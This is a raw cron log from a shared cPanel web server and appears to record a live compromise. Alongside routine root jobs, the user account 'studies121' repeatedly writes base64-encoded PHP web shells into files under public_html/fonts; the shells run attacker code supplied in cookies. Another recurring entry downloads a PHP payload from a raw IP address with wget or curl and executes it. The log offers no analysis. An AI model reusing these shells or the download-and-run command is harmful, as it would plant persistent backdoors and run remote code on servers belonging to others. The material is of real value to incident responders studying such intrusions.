Sep  3 17:02:01 ip-184-168-122-23 CROND[4554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:02:01 ip-184-168-122-23 CROND[4555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:02:01 ip-184-168-122-23 CROND[4556]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:03:01 ip-184-168-122-23 CROND[4638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:03:01 ip-184-168-122-23 CROND[4639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:03:01 ip-184-168-122-23 CROND[4640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:03:01 ip-184-168-122-23 CROND[4642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:04:01 ip-184-168-122-23 CROND[4716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:04:01 ip-184-168-122-23 CROND[4718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:04:01 ip-184-168-122-23 CROND[4717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:04:01 ip-184-168-122-23 CROND[4720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:04:01 ip-184-168-122-23 CROND[4721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:05:01 ip-184-168-122-23 CROND[4870]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:05:01 ip-184-168-122-23 CROND[4872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:05:01 ip-184-168-122-23 CROND[4876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:05:01 ip-184-168-122-23 CROND[4874]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:05:01 ip-184-168-122-23 CROND[4875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:05:02 ip-184-168-122-23 CROND[4877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:05:02 ip-184-168-122-23 CROND[4873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:06:01 ip-184-168-122-23 CROND[5026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:06:01 ip-184-168-122-23 CROND[5028]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:06:01 ip-184-168-122-23 CROND[5031]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:06:01 ip-184-168-122-23 CROND[5027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:06:01 ip-184-168-122-23 CROND[5029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:07:01 ip-184-168-122-23 CROND[5132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:07:01 ip-184-168-122-23 CROND[5133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:07:01 ip-184-168-122-23 CROND[5134]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:07:01 ip-184-168-122-23 CROND[5138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:08:01 ip-184-168-122-23 CROND[5209]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:08:01 ip-184-168-122-23 CROND[5211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:08:01 ip-184-168-122-23 CROND[5213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:08:01 ip-184-168-122-23 CROND[5214]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:08:01 ip-184-168-122-23 CROND[5212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:09:01 ip-184-168-122-23 CROND[5295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:09:01 ip-184-168-122-23 CROND[5297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:09:01 ip-184-168-122-23 CROND[5298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:09:01 ip-184-168-122-23 CROND[5299]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 17:09:01 ip-184-168-122-23 CROND[5300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:10:01 ip-184-168-122-23 CROND[5398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5404]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:10:01 ip-184-168-122-23 CROND[5405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:11:01 ip-184-168-122-23 CROND[5505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:11:01 ip-184-168-122-23 CROND[5508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:11:01 ip-184-168-122-23 CROND[5509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:11:01 ip-184-168-122-23 CROND[5507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:12:01 ip-184-168-122-23 CROND[5679]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:12:01 ip-184-168-122-23 CROND[5680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:12:01 ip-184-168-122-23 CROND[5684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:12:01 ip-184-168-122-23 CROND[5683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:12:01 ip-184-168-122-23 CROND[5682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:13:01 ip-184-168-122-23 CROND[5777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:13:01 ip-184-168-122-23 CROND[5778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 17:13:01 ip-184-168-122-23 CROND[5776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:13:02 ip-184-168-122-23 CROND[5779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:14:01 ip-184-168-122-23 CROND[5859]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 17:14:01 ip-184-168-122-23 CROND[5860]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 17:14:01 ip-184-168-122-23 CROND[5863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:14:01 ip-184-168-122-23 CROND[5865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
